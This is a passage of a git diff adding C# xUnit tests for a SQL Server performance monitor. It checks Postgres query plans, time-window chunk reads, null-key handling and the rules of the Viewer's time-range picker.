+        NpgsqlConnection connection, string sql, Action<NpgsqlCommand> bind, int keyColumns, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        bind(command);
+        var rows = new SortedDictionary<string, string[]>(StringComparer.Ordinal);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        while (await reader.ReadAsync(ct))
+        {
+            var cells = new string[reader.FieldCount];
+            for (var i = 0; i < cells.Length; i++)
+            {
+                cells[i] = reader.IsDBNull(i) ? "<null>" : reader.GetValue(i) is double d
+                    ? BitConverter.DoubleToInt64Bits(d).ToString("x", CultureInfo.InvariantCulture)
+                    : Convert.ToString(reader.GetValue(i), CultureInfo.InvariantCulture)!;
+            }
+
+            rows.Add(string.Join('|', cells.Take(keyColumns)), cells);
+        }
+
+        return rows;
+    }
+
+    [Fact]
+    public async Task TheComparison_ReadsTheTextFromTheWindowsChunksOnly_AndItsPeriodJoinsHaveNoNullSafeJoinFilter()
+    {
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql }, async (connection, ct) =>
+        {
+            var plan = await ExplainAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, AddComparisonParameters, ct);
+
+            var (scanned, total) = await ChunksReadAsync(connection, plan, "query_stats", ct);
+            Assert.True(total >= 12, $"the seed must span many chunks (found {total}) or this proves nothing.");
+            Assert.True(scanned is > 0 and <= WindowChunkCeiling,
+                $"the text lookup read {scanned} of {total} query_stats chunks; a 48 h window touches at most {WindowChunkCeiling}.");
+
+            /* IS NOT DISTINCT FROM is not hashable: the old period joins were nested loops with that as a join filter
+               over every window row. A hash or merge join on plain equalities has no such filter. */
+            Assert.DoesNotContain(Nodes(plan), n => Text(n, "Join Filter").Contains("DISTINCT FROM", StringComparison.Ordinal));
+            var keyedJoins = Nodes(plan).Count(n => Text(n, "Node Type") is "Hash Join" or "Merge Join"
+                && (Text(n, "Hash Cond") + Text(n, "Merge Cond")).Contains("object_name", StringComparison.Ordinal));
+            Assert.True(keyedJoins >= 2, $"expected both period joins as hash or merge joins on the keys, found {keyedJoins}.");
+        });
+    }
+
+    [Fact]
+    public async Task TheOldStatement_ReadsEveryChunk_WhichIsWhatTheBoundRemoves()
+    {
+        /* The oracle's own shape, so the shape test above cannot pass vacuously: the same seed under the pre-#5420 statement. */
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql }, async (connection, ct) =>
+        {
+            var plan = await ExplainAsync(connection, OldProcedureStatsComparisonSql, AddComparisonParameters, ct);
+            var (scanned, total) = await ChunksReadAsync(connection, plan, "query_stats", ct);
+            Assert.True(scanned > WindowChunkCeiling, $"the old lookup read only {scanned} of {total} chunks; the seed must make it walk the history.");
+            Assert.Contains(Nodes(plan), n => Text(n, "Join Filter").Contains("DISTINCT FROM", StringComparison.Ordinal));
+        });
+    }
+
+    [Fact]
+    public async Task TheComparison_AnswersTheOldStatementsAnswer_OnEveryColumn_ExceptTheDocumentedTextChange()
+    {
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql }, async (connection, ct) =>
+        {
+            var old = await RunComparisonAsync(connection, OldProcedureStatsComparisonSql, ct);
+            var current = await RunComparisonAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, ct);
+
+            /* the seed has to hold what the facts claim, or equality proves nothing. */
+            Assert.True(old.Count >= 100, $"the old statement returned {old.Count} rows.");
+            Assert.Contains(old.Keys, k => k.StartsWith("<null>|", StringComparison.Ordinal));           /* a NULL database */
+            Assert.Contains(old.Keys, k => k.Contains("|<null>|", StringComparison.Ordinal));            /* a NULL schema */
+            Assert.Contains(old.Keys, k => k.EndsWith("|<null>", StringComparison.Ordinal));             /* a NULL object */
+            Assert.Contains(old.Keys, k => k.EndsWith("|dbo|", StringComparison.Ordinal));               /* an empty-string object */
+            Assert.Contains(old.Values, r => r[3] == "<null>" && r[7] != "<null>");                      /* GONE */
+            Assert.Contains(old.Values, r => r[3] != "<null>" && r[7] == "<null>");                      /* NEW */
+
+            Assert.Equal(old.Keys, current.Keys);
+
+            var changed = new List<string>();
+            foreach (var (key, oldRow) in old)
+            {
+                var newRow = current[key];
+                for (var i = 0; i < 11; i++)
+                {
+                    Assert.True(oldRow[i] == newRow[i], $"{key}: column {i} was {oldRow[i]}, is now {newRow[i]}.");
+                }
+
+                if (oldRow[11] != newRow[11])
+                {
+                    changed.Add(key);
+                    Assert.Equal("<null>", newRow[11]);                                                  /* only ever text -> none */
+                    Assert.Contains("only before the window", oldRow[11], StringComparison.Ordinal);
+                }
+            }
+
+            /* procedures 1-5 are the only ones whose sole text predates the window; every other text (the dim-resolved
+               6-10 included) is the old statement's, character for character. */
+            Assert.Equal(5, changed.Count);
+            Assert.Contains(current.Values, r => r[11].Contains("payload dimension", StringComparison.Ordinal));
+        });
+    }
+
+    /* ───────────────────────────── the Query Store top fallback ───────────────────────────── */
+
+    private static void AddViewerQueryStoreParameters(NpgsqlCommand command)
+    {
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerId });
+        command.Parameters.Add(Timestamp(BaselineStart));
+        command.Parameters.Add(Timestamp(End));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 100 });
+        command.Parameters.Add(DatabaseFilter.All.Parameter());
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 100 });
+    }
+
+    private static void AddMcpQueryStoreParameters(NpgsqlCommand command)
+    {
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerId });
+        command.Parameters.Add(Timestamp(BaselineStart));
+        command.Parameters.Add(Timestamp(End));
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 100 });
+        command.Parameters.Add(DatabaseFilter.All.Parameter());
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 100 });
+    }
+
+    private static async Task<Dictionary<long, string?>> QueryStoreTextsAsync(NpgsqlConnection connection, string sql, Action<NpgsqlCommand> bind, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        bind(command);
+        var texts = new Dictionary<long, string?>();
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var query = reader.GetOrdinal("query_id");
+        var text = reader.GetOrdinal("query_text");
+        while (await reader.ReadAsync(ct))
+        {
+            if (reader.IsDBNull(query))
+            {
+                continue;                                                                                /* the candidate-count row */
+            }
+
+            texts[reader.GetInt64(query)] = reader.IsDBNull(text) ? null : reader.GetString(text);
+        }
+
+        return texts;
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task TheQueryStoreTopFallback_ReadsOnlyTheWindowsChunks_InTheViewerAndTheMcpCopy(bool viewer)
+    {
+        var (sql, bind) = viewer
+            ? (ViewerDataService.QueryStoreTopSql, (Action<NpgsqlCommand>)AddViewerQueryStoreParameters)
+            : (DarlingDataReader.QueryStoreTopSql, AddMcpQueryStoreParameters);
+        await RunLiveAsync(new[] { QueryStoreSeedSql }, async (connection, ct) =>
+        {
+            var plan = await ExplainAsync(connection, sql, bind, ct);
+            var (scanned, total) = await ChunksReadAsync(connection, plan, "query_store_stats", ct);
+            Assert.True(total >= 12, $"the seed must span many chunks (found {total}) or this proves nothing.");
+            Assert.True(scanned is > 0 and <= WindowChunkCeiling,
+                $"the read took {scanned} of {total} query_store_stats chunks; a 48 h window touches at most {WindowChunkCeiling}, text fallback included.");
+        });
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task TheQueryStoreTopFallback_KeepsTextFromInsideTheWindow_AndShowsNoneForTextOnlyBeforeIt(bool viewer)
+    {
+        var (sql, bind) = viewer
+            ? (ViewerDataService.QueryStoreTopSql, (Action<NpgsqlCommand>)AddViewerQueryStoreParameters)
+            : (DarlingDataReader.QueryStoreTopSql, AddMcpQueryStoreParameters);
+        await RunLiveAsync(new[] { QueryStoreSeedSql }, async (connection, ct) =>
+        {
+            var texts = await QueryStoreTextsAsync(connection, sql, bind, ct);
+            Assert.Equal(60, texts.Count);
+            for (var q = 1; q <= 30; q++)
+            {
+                /* the newest in-window row's text: collection_time DESC, and the window's last row is End itself. */
+                Assert.Equal($"SELECT {q} /* 2026-02-20 12:00 */", texts[q]);
+            }
+
+            for (var q = 31; q <= 60; q++)
+            {
+                Assert.Null(texts[q]);
+            }
+        });
+    }
+
+    [Fact]
+    public void EveryQueryStoreTopStatement_CarriesTheWindowBoundOnItsInlineTextFallback()
+    {
+        /* The viewer's raw and table reads share one tail; the MCP reader's raw, table and daily reads share another. Both
+           carry the bound on the fallback's own scan. */
+        foreach (var sql in new[]
+                 {
+                     ViewerDataService.QueryStoreTopSql, ViewerDataService.QueryStoreTopTableSql,
+                     DarlingDataReader.QueryStoreTopSql, DarlingDataReader.QueryStoreTopTableSql, DarlingDataReader.QueryStoreTopDailyTableSql,
+                 })
+        {
+            var normalized = sql.ReplaceLineEndings("\n");
+            var fallback = normalized[normalized.IndexOf("FROM query_store_stats AS s", StringComparison.Ordinal)..];
+            fallback = fallback[..fallback.IndexOf("LIMIT 1", StringComparison.Ordinal)];
+            Assert.Contains("s.collection_time >= $2", fallback, StringComparison.Ordinal);
+            Assert.Contains("s.collection_time <= $3", fallback, StringComparison.Ordinal);
+        }
+    }
+
+    /* ───────────────────────────── review round 1 (#5420): the gap, the tie, the twins, the filter ───────────────────────────── */
+
+    /// <summary>Two 24 h windows that each touch at most 2 one-day chunks.</summary>
+    private const int TwoWindowChunkCeiling = 4;
+
+    [Fact]
+    public async Task TheComparison_WithABaselineAWeekBack_ReadsTheTwoWindowsChunksAndNotTheGapBetweenThem()
+    {
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql }, async (connection, ct) =>
+        {
+            var baselineStart = End.AddDays(-8);
+            var baselineEnd = End.AddDays(-7);
+            void Bind(NpgsqlCommand c) => BindComparison(c, baselineStart, baselineEnd, DatabaseFilter.All);
+
+            /* the baseline must hold procedures, or a read that skips it proves nothing. */
+            var rows = await RunKeyedAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, Bind, 3, ct);
+            Assert.Contains(rows.Values, r => r[7] != "<null>" && r[3] != "<null>");
+
+            var plan = await ExplainAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, Bind, ct);
+            var (scanned, total) = await ChunksReadAsync(connection, plan, "query_stats", ct);
+            Assert.True(total >= 12, $"the seed must span many chunks (found {total}) or this proves nothing.");
+            Assert.True(scanned is > 0 and <= TwoWindowChunkCeiling,
+                $"the text lookup read {scanned} of {total} query_stats chunks; two 24 h windows touch at most {TwoWindowChunkCeiling}, and the span between them 9.");
+        });
+    }
+
+    [Fact]
+    public async Task WhenOneProceduresStatementsShareAnInstant_TheRowCollectedLastSuppliesTheText()
+    {
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql, TieSeedSql }, async (connection, ct) =>
+        {
+            var rows = await RunComparisonAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, ct);
+            Assert.Equal("tie A: the higher collection id", rows["db1|dbo|proc_tie_a"][11]);
+            Assert.Equal("tie B: the higher collection id", rows["db1|dbo|proc_tie_b"][11]);
+        });
+    }
+
+    [Fact]
+    public async Task TheComparison_UnderADatabaseFilter_AnswersTheOldStatementsAnswer_ExceptTheDocumentedTextChange()
+    {
+        await RunLiveAsync(new[] { ProcedureSeedSql, QueryStatsSeedSql }, async (connection, ct) =>
+        {
+            var filter = DatabaseFilter.One("db1");
+            void Bind(NpgsqlCommand c) => BindComparison(c, BaselineStart, CurrentStart, filter);
+            var old = await RunKeyedAsync(connection, OldProcedureStatsComparisonSql, Bind, 3, ct);
+            var current = await RunKeyedAsync(connection, ViewerDataService.ProcedureStatsComparisonSql, Bind, 3, ct);
+
+            Assert.True(old.Count >= 20, $"the filtered old statement returned {old.Count} rows.");
+            Assert.All(old.Keys, k => Assert.StartsWith("db1|", k, StringComparison.Ordinal));
+            Assert.Equal(old.Keys, current.Keys);
+            foreach (var (key, oldRow) in old)
+            {
+                for (var i = 0; i < 11; i++)
+                {
+                    Assert.True(oldRow[i] == current[key][i], $"{key}: column {i} was {oldRow[i]}, is now {current[key][i]}.");
+                }
+
+                if (oldRow[11] != current[key][11])
+                {
+                    Assert.Equal("<null>", current[key][11]);                                            /* only ever text -> none */
+                    Assert.Contains("only before the window", oldRow[11], StringComparison.Ordinal);
+                }
+            }
+        });
+    }
+
+    /// <summary>Hash or merge joins (any join type) whose condition names <paramref name="key"/>.</summary>
+    private static int KeyedJoins(JsonElement plan, string key) =>
+        Nodes(plan).Count(n => Text(n, "Node Type") is "Hash Join" or "Merge Join"
+            && (Text(n, "Hash Cond") + Text(n, "Merge Cond")).Contains(key, StringComparison.Ordinal));
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task TheTwinComparison_JoinsItsPeriodsOnPlainEqualities_NotANullSafeJoinFilter(bool queryStats)
+    {
+        await RunLiveAsync(new[] { queryStats ? QueryStatsTwinSeedSql : QueryStoreTwinSeedSql }, async (connection, ct) =>
+        {
+            var sql = queryStats ? ViewerDataService.QueryStatsComparisonSql : ViewerDataService.QueryStoreComparisonSql;
+            var plan = await ExplainAsync(connection, sql, AddComparisonParameters, ct);
+            Assert.DoesNotContain(Nodes(plan), n => Text(n, "Join Filter").Contains("DISTINCT FROM", StringComparison.Ordinal));
+            var keyedJoins = KeyedJoins(plan, "query_hash");
+            Assert.True(keyedJoins >= 2, $"expected both period joins as hash or merge joins on query_hash, found {keyedJoins}.");
+
+            /* the oracle's own shape, so the assertions above cannot pass vacuously on this seed. */
+            var oldPlan = await ExplainAsync(connection, queryStats ? OldQueryStatsComparisonSql : OldQueryStoreComparisonSql, AddComparisonParameters, ct);
+            Assert.Contains(Nodes(oldPlan), n => Text(n, "Join Filter").Contains("DISTINCT FROM", StringComparison.Ordinal));
+        });
+    }
+
+    [Theory]
+    [InlineData(true, false)]
+    [InlineData(true, true)]
+    [InlineData(false, false)]
+    [InlineData(false, true)]
+    public async Task TheTwinComparison_AnswersTheOldStatementsAnswer_OnEveryColumn_NullKeysIncluded(bool queryStats, bool filtered)
+    {
+        await RunLiveAsync(new[] { queryStats ? QueryStatsTwinSeedSql : QueryStoreTwinSeedSql }, async (connection, ct) =>
+        {
+            var filter = filtered ? DatabaseFilter.One("db1") : DatabaseFilter.All;
+            void Bind(NpgsqlCommand c) => BindComparison(c, BaselineStart, CurrentStart, filter);
+            var old = await RunKeyedAsync(connection, queryStats ? OldQueryStatsComparisonSql : OldQueryStoreComparisonSql, Bind, 2, ct);
+            var current = await RunKeyedAsync(connection, queryStats ? ViewerDataService.QueryStatsComparisonSql : ViewerDataService.QueryStoreComparisonSql, Bind, 2, ct);
+
+            /* the seed has to hold what the facts claim, or equality proves nothing. */
+            Assert.True(old.Count >= (filtered ? 20 : 100), $"the old statement returned {old.Count} rows.");
+            Assert.Contains(old.Values, r => r[3] == "<null>" && r[7] != "<null>");                       /* GONE */
+            Assert.Contains(old.Values, r => r[3] != "<null>" && r[7] == "<null>");                       /* NEW */
+            if (!filtered)
+            {
+                Assert.Contains(old.Keys, k => k.StartsWith("<null>|", StringComparison.Ordinal));        /* a NULL database */
+                Assert.Contains(old.Keys, k => k.EndsWith("|<null>", StringComparison.Ordinal));          /* a NULL hash */
+                Assert.Contains(old.Keys, k => k == "<null>|<null>");                                     /* both NULL */
+                /* an empty key and a NULL one that must stay apart, both in the seed's tables (so the lookup has the temptation) and one
+                   of each pair in the answer: the heavy NULL-hash group and the heavy empty database are compared, the light empty
+                   hash and the light NULL database are trimmed, and a join that merged them would fan a heavy row out. */
+                var (table, emptyHashDb, emptyDbHash) = queryStats ? ("collect.query_stats", "db0", "0xQ127") : ("collect.query_store_stats", "db2", "h127");
+                Assert.Contains(old.Keys, k => k == $"{emptyHashDb}|<null>");
+                Assert.Contains(old.Keys, k => k == $"|{emptyDbHash}");
+                Assert.DoesNotContain(old.Keys, k => k == $"{emptyHashDb}|");
+                Assert.DoesNotContain(old.Keys, k => k == $"<null>|{emptyDbHash}");
+                await using var seeded = new NpgsqlCommand(
+                    $"SELECT count(*) FROM {table} WHERE (database_name = '{emptyHashDb}' AND query_hash = '') OR (database_name IS NULL AND query_hash = '{emptyDbHash}')", connection);
+                Assert.True((long)(await seeded.ExecuteScalarAsync(ct))! > 0, "the empty-versus-NULL seed rows are missing.");
+            }
+
+            Assert.Equal(old.Keys, current.Keys);
+            foreach (var (key, oldRow) in old)
+            {
+                for (var i = 0; i < oldRow.Length; i++)
+                {
+                    Assert.True(oldRow[i] == current[key][i], $"{key}: column {i} was {oldRow[i]}, is now {current[key][i]}.");
+                }
+            }
+        });
+    }
+
+    [Theory]
+    [InlineData(0)]
+    [InlineData(1)]
+    [InlineData(2)]
+    public async Task TheComparison_KeepsANullKeyAndItsEmptyKeyPartnerApart_WhenBothMakeTheTopHundredInBothWindows(int twin)
+    {
+        var (seed, sql, keyColumns, expected) = twin switch
+        {
+            0 => (QueryStatsNullEmptySeedSql, ViewerDataService.QueryStatsComparisonSql, 2, new[] { "dbA|<null>", "dbA|", "<null>|hC", "|hC", "<null>|<null>", "|" }),
+            1 => (QueryStoreNullEmptySeedSql, ViewerDataService.QueryStoreComparisonSql, 2, new[] { "dbA|<null>", "dbA|", "<null>|hC", "|hC", "<null>|<null>", "|" }),
+            _ => (ProcedureNullEmptySeedSql, ViewerDataService.ProcedureStatsComparisonSql, 3, new[] { "dbA|dbo|<null>", "dbA|dbo|", "<null>|dbo|pX", "|dbo|pX", "dbA|<null>|pX", "dbA||pX" }),
+        };
+        await RunLiveAsync(new[] { seed }, async (connection, ct) =>
+        {
+            /* the outer join is still a hash or merge FULL JOIN with both halves (Postgres refuses a FULL JOIN it cannot hash or merge). */
+            var plan = await ExplainAsync(connection, sql, AddComparisonParameters, ct);
+            Assert.Contains(Nodes(plan), n => Text(n, "Node Type") is "Hash Join" or "Merge Join" && Text(n, "Join Type") == "Full");
+
+            /* RunKeyedAsync adds each row under its key, so a fanned-out row (the same key twice) fails right there. */
+            var rows = await RunKeyedAsync(connection, sql, AddComparisonParameters, keyColumns, ct);
+            Assert.Equal(expected.OrderBy(k => k, StringComparer.Ordinal), rows.Keys);
+            for (var i = 0; i < expected.Length; i++)
+            {
+                /* each group is paired with its OWN baseline: the counts are 100 to 600 now and a tenth of that before, in key order of the seed. */
+                var current = (100 * (i + 1)).ToString(CultureInfo.InvariantCulture);
+                var baseline = (10 * (i + 1)).ToString(CultureInfo.InvariantCulture);
+                Assert.Equal(current, rows[expected[i]][3]);
+                Assert.Equal(baseline, rows[expected[i]][7]);
+            }
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerTimeRangeGapFixTests.cs b/Darling/Darling.Tests/ViewerTimeRangeGapFixTests.cs
new file mode 100644
index 0000000000..b158a21e79
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerTimeRangeGapFixTests.cs
@@ -0,0 +1,353 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+/* Darling.Tests only: a Darling file Lite.Tests compiles must be named in build.yml's Lite path filter. */
+namespace Darling.Tests;
+
+/// <summary>
+/// #5562, the four gaps the first Viewer pass left. R5: a FinOps picker offers only a range its "hours back from now" read can
+/// honor. R6: Job History's finished range is bounded in the SQL, before the row cap. R7: every "Showing since" banner site feeds
+/// the picker's data-start note. R8: Alert History's longest choice is the span its table keeps.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ViewerTimeRangeGapFixTests
+{
+    private static string ViewerFile(string file) => RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static string Code(string file) => ViewerTypedRangeTests.StripComments(ViewerFile(file));
+
+    private static TimeRangeSpec Spec(string id)
+    {
+        Assert.True(TimeRangeSpec.TryFromId(id, out var spec), id);
+        return spec!;
+    }
+
+    // ── R5: FinOps pickers are rolling-only, in whole hours (the heatmap in whole days) ──
+
+    [Theory]
+    [InlineData("1h", true)]
+    [InlineData("4h", true)]
+    [InlineData("1d", true)]
+    [InlineData("1w", true)]
+    [InlineData("1mo", true)]
+    [InlineData("90m", false)]
+    [InlineData("30m", false)]
+    [InlineData("5m", false)]
+    [InlineData("today", false)]
+    [InlineData("previous-week", false)]
+    [InlineData("since:2026-10-01T04:00:00Z", false)]
+    [InlineData("fixed:2026-10-01T04:00:00Z/2026-10-02T04:00:00Z", false)]
+    public void TheHourRule_AdmitsOnlyAWholeNumberOfHoursBackFromNow(string id, bool admitted)
+    {
+        var spec = id == "90m" ? TimeRangeSpec.Relative(TimeSpan.FromMinutes(90)) : Spec(id);
+        Assert.Equal(admitted, RollingUnitRule.Admits(spec, RollingUnitRule.Hour));
+        Assert.Equal(admitted, RollingUnitRule.Refusal(spec, RollingUnitRule.Hour) is null);
+    }
+
+    [Theory]
+    [InlineData("1d", true)]
+    [InlineData("2d", true)]
+    [InlineData("1mo", true)]
+    [InlineData("1h", false)]
+    [InlineData("4h", false)]
+    public void TheDayRule_AdmitsOnlyAWholeNumberOfDaysBackFromNow(string id, bool admitted)
+    {
+        var spec = Spec(id);
+        Assert.Equal(admitted, RollingUnitRule.Admits(spec, RollingUnitRule.Day));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.Relative(TimeSpan.FromHours(36)), RollingUnitRule.Day));
+        Assert.False(RollingUnitRule.Admits(TimeRangeSpec.ForPeriod(CalendarPeriod.MonthToDate), RollingUnitRule.Day));
+    }
+
+    [Fact]
+    public void TheRefusal_SaysWhatTheReadTakes()
+    {
+        Assert.Equal("The shortest range for this read is 1 hour.", RollingUnitRule.Refusal(TimeRangeSpec.Relative(TimeSpan.FromMinutes(30)), RollingUnitRule.Hour));
+        Assert.Equal("This read takes whole hours; try 2h.", RollingUnitRule.Refusal(TimeRangeSpec.Relative(TimeSpan.FromMinutes(90)), RollingUnitRule.Hour));
+        Assert.Contains("length back from now", RollingUnitRule.Refusal(TimeRangeSpec.ForPeriod(CalendarPeriod.Today), RollingUnitRule.Hour), StringComparison.Ordinal);
+        Assert.Equal("The shortest range for this read is 1 day.", RollingUnitRule.Refusal(TimeRangeSpec.Relative(TimeSpan.FromHours(4)), RollingUnitRule.Day));
+    }
+
+    [Fact]
+    public void ARollingOnlyPicker_RefusesWhatItsReadCannotHonor_AndHidesTheCalendar()
+    {
+        StaTestThread.Run(() =>
+        {
+            var now = new DateTime(2026, 10, 8, 11, 1, 0, DateTimeKind.Unspecified);
+            var picker = new TimeRangePicker { ZoneProvider = () => TimeZoneInfo.Utc, NowProvider = () => now, Compact = true };
+            picker.RollingUnit = RollingUnitRule.Hour;
+            var raised = 0;
+            picker.RangeChanged += (_, _) => raised++;
+
+            Assert.Equal(System.Windows.Visibility.Collapsed, picker.PeriodPanel.Visibility);
+            Assert.Equal(System.Windows.Visibility.Collapsed, picker.PickCalendar.Visibility);
+            Assert.Equal(System.Windows.Visibility.Collapsed, picker.CalendarHeader.Visibility);
+
+            /* Presets under an hour are greyed; the others stay. */
+            var enabled = picker.RollingPanel.Children.OfType<Button>().Where(b => b.IsEnabled).Select(b => ((TimeRangeSpec)b.Tag).Id).ToArray();
+            Assert.Equal(new[] { "1h", "4h", "1d", "2d", "1w", "1mo" }, enabled);
+
+            Assert.False(picker.Select(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek)));
+            Assert.False(picker.Select(TimeRangeSpec.FixedRange(now.AddDays(-2), now.AddDays(-1))));
+            Assert.False(picker.Select(TimeRangeSpec.SinceInstant(now.AddDays(-2))));
+            Assert.False(picker.Select(TimeRangeSpec.Relative(TimeSpan.FromMinutes(45))));
+            Assert.Equal(0, raised);
+            Assert.Equal("4h", picker.Value.Id);
+
+            Assert.True(picker.Select(TimeRangeSpec.Relative(TimeSpan.FromHours(6))));
+            Assert.Equal(1, raised);
+
+            /* Typed text goes through the same rule: a calendar period and a part hour are refused with the reason. */
+            picker.InputBox.Text = "last month";
+            Assert.False(picker.ApplyButton.IsEnabled);
+            Assert.Contains("length back from now", picker.EchoText.Text, StringComparison.Ordinal);
+            picker.InputBox.Text = "90m";
+            Assert.False(picker.ApplyButton.IsEnabled);
+            Assert.Equal("This read takes whole hours; try 2h.", picker.EchoText.Text);
+            picker.InputBox.Text = "3 days";
+            Assert.True(picker.ApplyButton.IsEnabled);
+
+            /* A plain picker is unchanged. */
+            picker.RollingUnit = null;
+            Assert.Equal(System.Windows.Visibility.Visible, picker.PeriodPanel.Visibility);
+            Assert.True(picker.Select(TimeRangeSpec.ForPeriod(CalendarPeriod.PreviousWeek)));
+        });
+    }
+
+    [Fact]
+    public void EveryFinOpsPicker_IsCompactAndRollingOnly_TheListsInHoursAndTheHeatmapInDays()
+    {
+        var xaml = ViewerFile("FinOpsTab.xaml");
+        var pickers = Regex.Matches(xaml, @"<ui:TimeRangePicker x:Name=""(?<name>\w+)""[^>]*>");
+        Assert.Equal(5, pickers.Count);
+        foreach (Match picker in pickers)
+        {
+            Assert.Contains("Compact=\"True\"", picker.Value, StringComparison.Ordinal);
+        }
+
+        var code = Code("FinOpsTab.xaml.cs");
+        /* The four lists share one loop: one assignment, in whole hours; the heatmap sets its own, in whole days. */
+        Assert.Single(Regex.Matches(code, @"picker\.RollingUnit = RollingUnitRule\.Hour;"));
+        Assert.Single(Regex.Matches(code, @"FinOpsObjectHeatmapWindowCombo\.RollingUnit = RollingUnitRule\.Day;"));
+        foreach (var name in new[] { "FinOpsResourceUsageTimeRangeCombo", "FinOpsWaitStatsTimeRangeCombo", "FinOpsExpensiveQueriesTimeRangeCombo", "FinOpsHighImpactTimeRangeCombo" })
+        {
+            Assert.Contains(name, code, StringComparison.Ordinal);
+        }
+
+        /* Nothing else sets the five pickers' Value to a range the rule refuses. */
+        foreach (Match assignment in Regex.Matches(code, @"\.Value = TimeRangePresets\.Find\(""(?<id>\w+)""\)"))
+        {
+            Assert.True(RollingUnitRule.Admits(TimeRangePresets.Find(assignment.Groups["id"].Value)!, RollingUnitRule.Hour), assignment.Value);
+        }
+    }
+
+    // ── R7: every banner site feeds the picker's data-start note ──
+
+    [Fact]
+    public void TheBannerSites_AreCountedAndEveryOneFeedsThePickersNote()
+    {
+        var updateSites = 0;
+        var eventSites = 0;
+        var viewerDir = RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Viewer");
+        foreach (var file in Directory.EnumerateFiles(viewerDir, "*.cs"))
+        {
+            var code = ViewerTypedRangeTests.StripComments(File.ReadAllText(file));
+            updateSites += Regex.Matches(code, @"\bUpdateTruncationBanner\(").Count - Regex.Matches(code, @"void UpdateTruncationBanner\(").Count;
+            eventSites += Regex.Matches(code, @"\bShowEventDataStartAsync\(").Count - Regex.Matches(code, @"Task ShowEventDataStartAsync\(").Count;
+        }
+
+        /* A new banner site changes these counts: it must go through UpdateTruncationBanner (the event surfaces through
+           ShowEventDataStartAsync, which ends in it), which feeds the note below. Raise the count with the site. */
+        Assert.Equal(35, updateSites);
+        Assert.Equal(29, eventSites);
+
+        var update = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.MemberText(ViewerFile("ViewerServerTab.Queries.cs"), "UpdateTruncationBanner"));
+        Assert.Matches(@"\{\s*ViewerDataStartNote\.Feed\(banner, floor\);", update);
+
+        var show = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.MemberText(ViewerFile("ViewerServerTab.EventDataStart.cs"), "ShowEventDataStartAsync"));
+        Assert.Single(Regex.Matches(show, @"\bUpdateTruncationBanner\("));
+
+        /* The feed reaches the two tabs that own a picker and a banner, and sets the note from the floor with no query. */
+        var note = ViewerTypedRangeTests.StripComments(ViewerFile("ViewerDataStartNote.cs"));
+        Assert.Contains("serverTab.RecordDataStart(floor)", note, StringComparison.Ordinal);
+        Assert.Contains("jobHistory.RecordDataStart(floor)", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("await", note, StringComparison.Ordinal);
+        Assert.Contains("TimeRangePickerControl.DataStartUtc = floor", Code("JobHistoryTab.xaml.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheFeed_ReachesOnlyABannerThatIsOnScreenInATab()
+    {
+        StaTestThread.Run(() =>
+        {
+            var banner = new TextBlock();
+            var host = new Border();
+            var outer = new StackPanel();
+            Assert.Null(ViewerDataStartNote.FindAncestor<StackPanel>(banner));
+
+            host.Child = banner;
+            outer.Children.Add(host);
+            Assert.Same(host, ViewerDataStartNote.FindAncestor<Border>(banner));
+            Assert.Same(outer, ViewerDataStartNote.FindAncestor<StackPanel>(banner));
+
+            /* A bare banner (a test's control, or a tab that is not on screen) feeds nothing and throws nothing. */
+            ViewerDataStartNote.Feed(new TextBlock(), new DateTime(2026, 10, 1, 0, 0, 0, DateTimeKind.Unspecified));
+            ViewerDataStartNote.Feed(banner, null);
+        });
+    }
+
+    // ── R8: Alert History's longest choice ──
+
+    [Fact]
+    public void AlertHistory_LongestChoice_IsTheSpanTheAlertTableKeeps()
+    {
+        /* The retention is DarlingRetentionHorizons.AlertHistoryRetentionDays (config_alert_log is purged past it, 90 days). The
